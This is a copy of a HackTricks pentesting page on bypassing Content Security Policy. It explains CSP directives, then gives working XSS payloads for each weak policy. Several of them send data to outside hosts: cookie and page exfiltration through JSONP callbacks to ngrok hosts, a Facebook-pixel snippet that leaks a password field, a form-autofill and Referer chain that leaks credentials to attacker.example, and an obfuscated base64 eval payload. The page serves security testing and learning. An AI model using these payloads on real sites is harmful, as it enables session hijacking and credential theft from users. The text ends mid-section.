overview.md (53149B)
1 --- 2 title: "Content Security Policy (CSP) Bypass" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/content-security-policy-csp-bypass/README.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/content-security-policy-csp-bypass/README.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: true 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Content Security Policy (CSP) Bypass 14 15 ## What is CSP 16 17 Content Security Policy (CSP) is recognized as a browser technology, primarily aimed at **shielding against attacks such as cross-site scripting (XSS)**. It functions by defining and detailing paths and sources from which resources can be securely loaded by the browser. These resources encompass a range of elements such as images, frames, and JavaScript. For instance, a policy might permit the loading and execution of resources from the same domain (self), including inline resources and the execution of string code through functions like `eval`, `setTimeout`, or `setInterval`.<sup>[[1]](#references)</sup> 18 19 Implementation of CSP is conducted through **response headers** or by incorporating **meta elements into the HTML page**. Following this policy, browsers proactively enforce these stipulations and immediately block any detected violations. 20 21 - Implemented via response header: 22 23 ```text 24 Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; 25 ``` 26 27 - Implemented via meta tag: 28 29 ```xml 30 <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';"> 31 ``` 32 33 ### Headers 34 35 CSP can be enforced or monitored using these headers: 36 37 - `Content-Security-Policy`: Enforces the CSP; the browser blocks any violations. 38 - `Content-Security-Policy-Report-Only`: Used for monitoring; reports violations without blocking them. Ideal for testing in pre-production environments. 39 40 ### Defining Resources 41 42 CSP restricts the origins for loading both active and passive content, controlling aspects like inline JavaScript execution and the use of `eval()`. An example policy is: 43 44 ```bash 45 default-src 'none'; 46 img-src 'self'; 47 script-src 'self' https://code.jquery.com; 48 style-src 'self'; 49 report-uri /cspreport 50 font-src 'self' https://addons.cdn.mozilla.net; 51 frame-src 'self' https://ic.paypal.com https://paypal.com; 52 media-src https://videos.cdn.mozilla.net; 53 object-src 'none'; 54 ``` 55 56 ### Directives 57 58 - **script-src**: Allows specific sources for JavaScript, including URLs, inline scripts, and scripts triggered by event handlers or XSLT stylesheets. 59 - **default-src**: Sets a default policy for fetching resources when specific fetch directives are absent. 60 - **child-src**: Specifies allowed resources for web workers and embedded frame contents. 61 - **connect-src**: Restricts URLs which can be loaded using interfaces like fetch, WebSocket, XMLHttpRequest. 62 - **frame-src**: Restricts URLs for frames. 63 - **frame-ancestors**: Specifies which sources can embed the current page, applicable to elements like `<frame>`, `<iframe>`, `<object>`, `<embed>`, and `<applet>`. 64 - **img-src**: Defines allowed sources for images. 65 - **font-src**: Specifies valid sources for fonts loaded using `@font-face`. 66 - **manifest-src**: Defines allowed sources of application manifest files. 67 - **media-src**: Defines allowed sources for loading media objects. 68 - **object-src**: Defines allowed sources for `<object>`, `<embed>`, and `<applet>` elements. 69 - **base-uri**: Specifies allowed URLs for loading using `<base>` elements. 70 - **form-action**: Lists valid endpoints for form submissions. 71 - **plugin-types**: Restricts mime types that a page may invoke. 72 - **upgrade-insecure-requests**: Instructs browsers to rewrite HTTP URLs to HTTPS. 73 - **sandbox**: Applies restrictions similar to the sandbox attribute of an `<iframe>`. 74 - **report-to**: Specifies a group to which a report will be sent if the policy is violated. 75 - **worker-src**: Specifies valid sources for Worker, SharedWorker, or ServiceWorker scripts. 76 - **prefetch-src**: Specifies valid sources for resources that will be fetched or prefetched. 77 - **navigate-to**: Restricts the URLs to which a document can navigate by any means (a, form, window.location, window.open, etc.) 78 79 ### Sources 80 81 - `*`: Allows all URLs except those with `data:`, `blob:`, `filesystem:` schemes. 82 - `'self'`: Allows loading from the same domain. 83 - `'data'`: Allows resources to be loaded via the data scheme (e.g., Base64 encoded images).<sup>[[2]](#references)</sup> 84 - `'none'`: Blocks loading from any source. 85 - `'unsafe-eval'`: Allows the use of `eval()` and similar methods, not recommended for security reasons. 86 - `'unsafe-hashes'`: Enables specific inline event handlers. 87 - `'unsafe-inline'`: Allows the use of inline resources like inline `<script>` or `<style>`, not recommended for security reasons. 88 - `'nonce'`: A whitelist for specific inline scripts using a cryptographic nonce (number used once). 89 - If you have JS limited execution it's possible to get a used nonce inside the page with `doc.defaultView.top.document.querySelector("[nonce]")` and then reuse it to load a malicious script (if strict-dynamic is used, any allowed source can load new sources so this isn't needed), like in:<sup>[[3]](#references)</sup> 90 91 <details> 92 93 <summary>Load script reusing nonce</summary> 94 95 ```html 96 <!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ --> 97 <img 98 src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/content-security-policy-csp-bypass/x" 99 ng-on-error=' 100 doc=$event.target.ownerDocument; 101 a=doc.defaultView.top.document.querySelector("[nonce]"); 102 b=doc.createElement("script"); 103 b.src="//example.com/evil.js"; 104 b.nonce=a.nonce; doc.body.appendChild(b)' /> 105 ``` 106 107 </details> 108 109 - `'sha256-<hash>'`: Whitelists scripts with a specific sha256 hash. 110 - `'strict-dynamic'`: Allows loading scripts from any source if it has been whitelisted by a nonce or hash. 111 - `'host'`: Specifies a specific host, like `example.com`. 112 - `https:`: Restricts URLs to those that use HTTPS. 113 - `blob:`: Allows resources to be loaded from Blob URLs (e.g., Blob URLs created via JavaScript). 114 - `filesystem:`: Allows resources to be loaded from the filesystem. 115 - `'report-sample'`: Includes a sample of the violating code in the violation report (useful for debugging). 116 - `'strict-origin'`: Similar to 'self' but ensures the protocol security level of the sources matches the document (only secure origins can load resources from secure origins). 117 - `'strict-origin-when-cross-origin'`: Sends full URLs when making same-origin requests but only sends the origin when the request is cross-origin. 118 - `'unsafe-allow-redirects'`: Allows resources to be loaded that will immediately redirect to another resource. Not recommended as it weakens security. 119 120 ## Unsafe CSP Rules 121 122 ### 'unsafe-inline' 123 124 ```yaml 125 Content-Security-Policy: script-src https://google.com 'unsafe-inline'; 126 ``` 127 128 Working payload: `"/><script>alert(1);</script>`<sup>[[4]](#references)</sup> 129 130 #### self + 'unsafe-inline' via Iframes 131 132 133 [Csp Bypass Self + Unsafe Inline With Iframes](/hacktricks/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-unsafe-inline-with-iframes) 134 135 ### 'unsafe-eval' 136 137 > [!CAUTION] 138 > This is not working, for more info [**check this**](https://github.com/HackTricks-wiki/hacktricks/issues/653). 139 140 ```yaml 141 Content-Security-Policy: script-src https://google.com 'unsafe-eval'; 142 ``` 143 144 Working payload: 145 146 ```html 147 <script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script> 148 ``` 149 150 ### strict-dynamic 151 152 If you can somehow make an **allowed JS code created a new script tag** in the DOM with your JS code, because an allowed script is creating it, the **new script tag will be allowed to be executed**. 153 154 ### Wildcard (\*) 155 156 ```yaml 157 Content-Security-Policy: script-src 'self' https://google.com https: data *; 158 ``` 159 160 Working payload: 161 162 ```html 163 "/>'><script src=https://attacker-website.com/evil.js></script> 164 "/>'><script src=data:text/javascript,alert(1337)></script> 165 ``` 166 167 ### Lack of object-src and default-src 168 169 > [!CAUTION] > **It looks like this is not longer working** 170 171 ```yaml 172 Content-Security-Policy: script-src 'self' ; 173 ``` 174 175 Working payloads: 176 177 ```html 178 <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object> 179 ">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'> 180 <param name="AllowScriptAccess" value="always"></object> 181 ``` 182 183 ### File Upload + 'self' 184 185 ```yaml 186 Content-Security-Policy: script-src 'self'; object-src 'none' ; 187 ``` 188 189 If you can upload a JS file you can bypass this CSP: 190 191 Working payload: 192 193 ```html 194 "/>'><script src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src//uploads/picture.png.js"></script> 195 ``` 196 197 However, it's highly probable that the server is **validating the uploaded file** and will only allow you to **upload determined type of files**. 198 199 Moreover, even if you could upload a **JS code inside** a file using an extension accepted by the server (like: _script.png_) this won't be enough because some servers like apache server **select MIME type of the file based on the extension** and browsers like Chrome will **reject to execute Javascript** code inside something that should be an image. "Hopefully", there are mistakes. For example, from a CTF I learnt that **Apache doesn't know** the _**.wave**_ extension, therefore it doesn't serve it with a **MIME type like audio/\***. 200 201 From here, if you find a XSS and a file upload, and you manage to find a **misinterpreted extension**, you could try to upload a file with that extension and the Content of the script. Or, if the server is checking the correct format of the uploaded file, create a polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)). 202 203 ### Form-action 204 205 If not possible to inject JS, you could still try to exfiltrate for example credentials **injecting a form action** (and maybe expecting password managers to auto-fill passwords). You can find an [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).<sup>[[5]](#references)</sup> Also, notice that `default-src` does not cover form actions. 206 207 #### Credential theft with same-origin `GET` + `Referer` leak 208 209 Even if the page uses a **very strict CSP** such as `default-src 'none'; script-src 'none'; style-src 'none'; img-src 'none'; connect-src 'none'; frame-src 'none'; form-action 'self'`, a **reflected HTML injection** in a login page can still steal saved credentials **without JavaScript**: 210 211 1. Inject a fake login form in the trusted origin: 212 213 ```html 214 <form action="/"> 215 <input type="email" name="email" /> 216 <input type="password" name="password" /> 217 <input type="submit" /> 218 </form> 219 ``` 220 221 2. If the victim has credentials saved for that origin, the browser password manager may **autofill the injected fields**. 222 3. Because the form has no `method`, HTML defaults to **`GET`**, so clicking submit moves the credentials into the URL, such as `/?email=victim%40mail.com&password=Secret123`. 223 4. If the injection is reflected again, a second-stage payload can force a navigation that leaks that credential-bearing URL in the **`Referer`** header: 224 225 ```html 226 <meta name="referrer" content="unsafe-url"> 227 <meta http-equiv="Refresh" content="0;url=https://attacker.example/"> 228 ``` 229 230 This is useful when `form-action 'self'` blocks direct submission to an attacker-controlled domain: the victim first submits to the **same origin**, then the reflected page immediately **redirects** cross-origin and leaks the full previous URL via `Referer`.<sup>[[6]](#references)</sup> 231 232 **Notes:** 233 234 - `strict-origin-when-cross-origin` is the modern default referrer policy, so attackers often need to **inject** a weaker policy such as `unsafe-url` to include path and query string cross-origin.<sup>[[7]](#references)</sup> 235 - `<meta http-equiv="Refresh">` is attractive in HTML-only exploits because it doesn't require JavaScript and often survives CSPs that only restrict scripts/connections. 236 - If inline CSS is allowed, an invisible full-page submit button can turn this into an **any-click** attack: 237 238 ```html 239 <input type="submit" style="position:fixed;top:0;left:0;width:100vw;height:100vh;z-index:999999;opacity:0"> 240 ``` 241 242 **Test cases / impact upgrades:** 243 244 - Reflected HTML injection on **login pages** or any page where password autofill is active 245 - Credential-bearing forms that accidentally allow **`GET`** 246 - Missing or weak `Referrer-Policy` 247 - Secrets in URLs becoming exposed to **history, logs, analytics, reverse proxies, and cross-origin `Referer` headers** 248 249 **Defensive notes:** fixing the HTML injection is the real fix. Defense in depth includes **forcing `POST` for credential forms**, setting an explicit restrictive `Referrer-Policy` (for example `no-referrer` or `same-origin`), and auditing whether password managers autofill attacker-injected forms rendered on trusted origins. 250 251 ### Third Party Endpoints + ('unsafe-eval') 252 253 > [!WARNING] 254 > For some of the following payload **`unsafe-eval` is not even needed**. 255 256 ```yaml 257 Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval'; 258 ``` 259 260 Load a vulnerable version of angular and execute arbitrary JS: 261 262 ```xml 263 <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script> 264 <div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div> 265 266 267 "><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div> 268 269 270 "><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script> 271 <div ng-app ng-csp id=p ng-click=$event.view.alert(1337)> 272 273 274 With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/ 275 <script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script> 276 <iframe/ng-app/ng-csp/srcdoc=" 277 <script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js> 278 </script> 279 <img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>" 280 > 281 ``` 282 283 #### Payloads using Angular + a library with functions that return the `window` object ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)): 284 285 > [!TIP] 286 > The post shows that you could **load** all **libraries** from `cdn.cloudflare.com` (or any other allowed JS libraries repo), execute all added functions from each library, and check **which functions from which libraries return the `window` object**.<sup>[[8]](#references)</sup> 287 288 ```html 289 <script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script> 290 <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script> 291 <div ng-app ng-csp> 292 {{$on.curry.call().alert(1)}} 293 {{[].empty.call().alert([].empty.call().document.domain)}} 294 {{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }} 295 </div> 296 297 298 <script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script> 299 <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script> 300 <div ng-app ng-csp> 301 {{$on.curry.call().alert('xss')}} 302 </div> 303 304 305 <script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script> 306 <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script> 307 <div ng-app ng-csp> 308 {{[].erase.call().alert('xss')}} 309 </div> 310 ``` 311 312 Angular XSS from a class name: 313 314 ```html 315 <div ng-app> 316 <strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong> 317 </div> 318 ``` 319 320 #### Abusing google recaptcha JS code 321 322 According to [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) you can abuse [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) inside a CSP to execute arbitrary JS code bypassing the CSP:<sup>[[9]](#references)</sup><sup>[[35]](#references)</sup> 323 324 ```html 325 <div 326 ng-controller="CarouselController as c" 327 ng-init="c.init()" 328 > 329 [[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]] 330 <div carousel><div slides></div></div> 331 332 <script src="https://www.google.com/recaptcha/about/js/main.min.js"></script> 333 ``` 334 335 More [**payloads from this writeup**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):<sup>[[3]](#references)</sup> 336 337 ```html 338 <script src="https://www.google.com/recaptcha/about/js/main.min.js"></script> 339 340 <!-- Trigger alert --> 341 <img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/content-security-policy-csp-bypass/x" ng-on-error="$event.target.ownerDocument.defaultView.alert(1)" /> 342 343 <!-- Reuse nonce --> 344 <img 345 src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/content-security-policy-csp-bypass/x" 346 ng-on-error=' 347 doc=$event.target.ownerDocument; 348 a=doc.defaultView.top.document.querySelector("[nonce]"); 349 b=doc.createElement("script"); 350 b.src="//example.com/evil.js"; 351 b.nonce=a.nonce; doc.body.appendChild(b)' /> 352 ``` 353 354 #### Abusing www.google.com for open redirect 355 356 The following URL redirects to example.com (from [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):<sup>[[10]](#references)</sup> 357 358 ```text 359 https://www.google.com/amp/s/example.com/ 360 ``` 361 362 Abusing \*.google.com/script.google.com 363 364 It's possible to abuse Google Apps Script to receive information in a page inside script.google.com. Like it's [done in this report](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).<sup>[[11]](#references)</sup> 365 366 ### Third Party Endpoints + JSONP 367 368 ```http 369 Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none'; 370 ``` 371 372 Scenarios like this where `script-src` is set to `self` and a particular domain which is whitelisted can be bypassed using JSONP. JSONP endpoints allow insecure callback methods which allow an attacker to perform XSS, working payload:<sup>[[12]](#references)</sup> 373 374 ```html 375 "><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script> 376 "><script src="https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src//api/jsonp%3Fcallback%3D%28function%28%29%7Bwindow.top.location.href%3D%60http%3A/f6a81b32f7f7.ngrok.io/cooookie%60%2Bdocument.cookie%3B%7D%29%28%29%3B/README.md"></script> 377 ``` 378 379 ```html 380 https://www.youtube.com/oembed?callback=alert; 381 <script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script> 382 ``` 383 384 ```html 385 <script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script> 386 ``` 387 388 [**JSONBee**](https://github.com/zigoo0/JSONBee) **contains ready to use JSONP endpoints to CSP bypass of different websites.** 389 390 The same vulnerability will occur if the **trusted endpoint contains an Open Redirect** because if the initial endpoint is trusted, redirects are trusted. 391 392 ### Third Party Abuses 393 394 As described in the [following post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), there are many third party domains, that might be allowed somewhere in the CSP, can be abused to either exfiltrate data or execute JavaScript code.<sup>[[13]](#references)</sup> Some of these third-parties are: 395 396 | Entity | Allowed Domain | Capabilities | 397 | ----------------- | -------------------------------------------- | ------------ | 398 | Facebook | www.facebook.com, \*.facebook.com | Exfil | 399 | Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil | 400 | Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec | 401 | Amazon CloudFront | \*.cloudfront.net | Exfil, Exec | 402 | Amazon AWS | \*.amazonaws.com | Exfil, Exec | 403 | Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec | 404 | Salesforce Heroku | \*.herokuapp.com | Exfil, Exec | 405 | Google Firebase | \*.firebaseapp.com | Exfil, Exec | 406 407 If you find any of the allowed domains in the CSP of your target, chances are that you might be able to bypass the CSP by registering on the third-party service and, either exfiltrate data to that service or to execute code. 408 409 For example, if you find the following CSP: 410 411 ```text 412 Content-Security-Policy: default-src 'self’ www.facebook.com; 413 ``` 414 415 or 416 417 ```text 418 Content-Security-Policy: connect-src www.facebook.com; 419 ``` 420 421 You should be able to exfiltrate data, similarly as it has always be done with [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/).<sup>[[14]](#references)</sup><sup>[[15]](#references)</sup> In this case, you follow these general steps: 422 423 1. Create a Facebook Developer account here. 424 2. Create a new "Facebook Login" app and select "Website". 425 3. Go to "Settings -> Basic" and get your "App ID" 426 4. In the target site you want to exfiltrate data from, you can exfiltrate data by directly using the Facebook SDK gadget "fbq" through a "customEvent" and the data payload. 427 5. Go to your App "Event Manager" and select the application you created (note the event manager could be found in an URL similar to this: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events 428 6. Select the tab "Test Events" to see the events being sent out by "your" web site. 429 430 Then, on the victim side, you execute the following code to initialize the Facebook tracking pixel to point to the attacker's Facebook developer account app-id and issue a custom event like this: 431 432 ```javascript 433 fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account 434 fbq('trackCustom', 'My-Custom-Event',{ 435 data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'" 436 }); 437 ``` 438 439 As for the other seven third-party domains specified in the previous table, there are many other ways you can abuse them. Refer to the previously [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) for additional explanations about other third-party abuses.<sup>[[13]](#references)</sup> 440 441 ### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a> 442 443 In addition to the aforementioned redirection to bypass path restrictions, there is another technique called Relative Path Overwrite (RPO) that can be used on some servers. 444 445 For example, if CSP allows the path `https://example.com/scripts/react/`, it can be bypassed as follows: 446 447 ```html 448 <script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script> 449 ``` 450 451 The browser will ultimately load `https://example.com/scripts/angular/angular.js`. 452 453 This works because for the browser, you are loading a file named `..%2fangular%2fangular.js` located under `https://example.com/scripts/react/`, which is compliant with CSP. 454 455 ∑, they will decode it, effectively requesting `https://example.com/scripts/react/../angular/angular.js`, which is equivalent to `https://example.com/scripts/angular/angular.js`. 456 457 By **exploiting this inconsistency in URL interpretation between the browser and the server, the path rules can be bypassed**.<sup>[[16]](#references)</sup> 458 459 The solution is to not treat `%2f` as `/` on the server-side, ensuring consistent interpretation between the browser and the server to avoid this issue. 460 461 Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output) 462 463 ### Iframes JS execution 464 465 466 [Iframes In Xss And Csp](/hacktricks/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp) 467 468 ### missing **base-uri** 469 470 If the **base-uri** directive is missing you can abuse it to perform a [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).<sup>[[16]](#references)</sup> 471 472 Moreover, if the **page is loading a script using a relative path** (like `<script src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src//js/app.js">`) using a **Nonce**, you can abuse the **base** **tag** to make it **load** the script from **your own server achieving a XSS.**\ 473 If the vulnerable page is loaded with **httpS**, make use an httpS url in the base. 474 475 ```html 476 <base href="https://www.attacker.com/" /> 477 ``` 478 479 ### AngularJS events 480 481 A specific policy known as Content Security Policy (CSP) may restrict JavaScript events. Nonetheless, AngularJS introduces custom events as an alternative. Within an event, AngularJS provides a unique object `$event`, referencing the native browser event object. This `$event` object can be exploited to circumvent the CSP. Notably, in Chrome, the `$event/event` object possesses a `path` attribute, holding an object array implicated in the event's execution chain, with the `window` object invariably positioned at the end. This structure is pivotal for sandbox escape tactics. 482 483 By directing this array to the `orderBy` filter, it's possible to iterate over it, harnessing the terminal element (the `window` object) to trigger a global function like `alert()`. The demonstrated code snippet below elucidates this process: 484 485 ```xml 486 <input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x 487 ?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x 488 ``` 489 490 This snippet highlights the usage of the `ng-focus` directive to trigger the event, employing `$event.path|orderBy` to manipulate the `path` array, and leveraging the `window` object to execute the `alert()` function, thereby revealing `document.cookie`. 491 492 **Find other Angular bypasses in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) 493 494 ### AngularJS and whitelisted domain 495 496 ```text 497 Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url; 498 ``` 499 500 A CSP policy that whitelists domains for script loading in an Angular JS application can be bypassed through the invocation of callback functions and certain vulnerable classes. Further information on this technique can be found in a detailed guide available on this [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).<sup>[[17]](#references)</sup><sup>[[36]](#references)</sup> 501 502 Working payloads: 503 504 ```html 505 <script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script> 506 ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script> 507 508 <!-- no longer working --> 509 <script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)"> 510 ``` 511 512 Other JSONP arbitrary execution endpoints can be found in [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (some of them were deleted or fixed) 513 514 ### Bypass via Redirection 515 516 What happens when CSP encounters server-side redirection? If the redirection leads to a different origin that is not allowed, it will still fail. 517 518 However, according to the description in [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), if the redirection leads to a different path, it can bypass the original restrictions.<sup>[[18]](#references)</sup> 519 520 Here's an example: 521 522 ```html 523 <!DOCTYPE html> 524 <html> 525 <head> 526 <meta 527 http-equiv="Content-Security-Policy" 528 content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" /> 529 </head> 530 <body> 531 <div id="userContent"> 532 <script src="https://https://www.google.com/test"></script> 533 <script src="https://https://www.google.com/a/test"></script> 534 <script src="http://localhost:5555/301"></script> 535 </div> 536 </body> 537 </html> 538 ``` 539 540 If CSP is set to `https://www.google.com/a/b/c/d`, since the path is considered, both `/test` and `/a/test` scripts will be blocked by CSP. 541 542 However, the final `http://localhost:5555/301` will be **redirected on the server-side to `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Since it is a redirection, the **path is not considered**, and the **script can be loaded**, thus bypassing the path restriction. 543 544 With this redirection, even if the path is specified completely, it will still be bypassed. 545 546 Therefore, the best solution is to ensure that the website does not have any open redirect vulnerabilities and that there are no domains that can be exploited in the CSP rules. 547 548 ### Bypass CSP with dangling markup 549 550 Read [how here](../dangling-markup-html-scriptless-injection/index.html). 551 552 ### 'unsafe-inline'; img-src \*; via XSS 553 554 ```text 555 default-src 'self' 'unsafe-inline'; img-src *; 556 ``` 557 558 `'unsafe-inline'` means that you can execute any script inside the code (XSS can execute code) and `img-src *` means that you can use in the webpage any image from any resource. 559 560 You can bypass this CSP by exfiltrating the data via images (in this occasion the XSS abuses a CSRF where a page accessible by the bot contains an SQLi, and extract the flag via an image):<sup>[[19]](#references)</sup> 561 562 ```javascript 563 <script> 564 fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new 565 Image().src='http://PLAYER_SERVER/?'+_) 566 </script> 567 ``` 568 569 From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)<sup>[[19]](#references)</sup> 570 571 You could also abuse this configuration to **load javascript code inserted inside an image**. If for example, the page allows loading images from Twitter. You could **craft** an **special image**, **upload** it to Twitter and abuse the "**unsafe-inline**" to **execute** a JS code (as a regular XSS) that will **load** the **image**, **extract** the **JS** from it and **execute** **it**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)<sup>[[20]](#references)</sup> 572 573 ### With Service Workers 574 575 Service workers **`importScripts`** function isn't limited by CSP: 576 577 578 [Abusing Service Workers](/hacktricks/pentesting-web/xss-cross-site-scripting/abusing-service-workers) 579 580 ### Policy Injection 581 582 **Research:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)<sup>[[21]](#references)</sup> 583 584 #### Chrome 585 586 If a **parameter** sent by you is being **pasted inside** the **declaration** of the **policy,** then you could **alter** the **policy** in some way that makes **it useless**. You could **allow script 'unsafe-inline'** with any of these bypasses: 587 588 ```bash 589 script-src-elem *; script-src-attr * 590 script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline' 591 ``` 592 593 Because this directive will **overwrite existing script-src directives**.\ 594 You can find an example here: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E) 595 596 #### Edge 597 598 In Edge is much simpler. If you can add in the CSP just this: **`;_`** **Edge** would **drop** the entire **policy**.\ 599 Example: 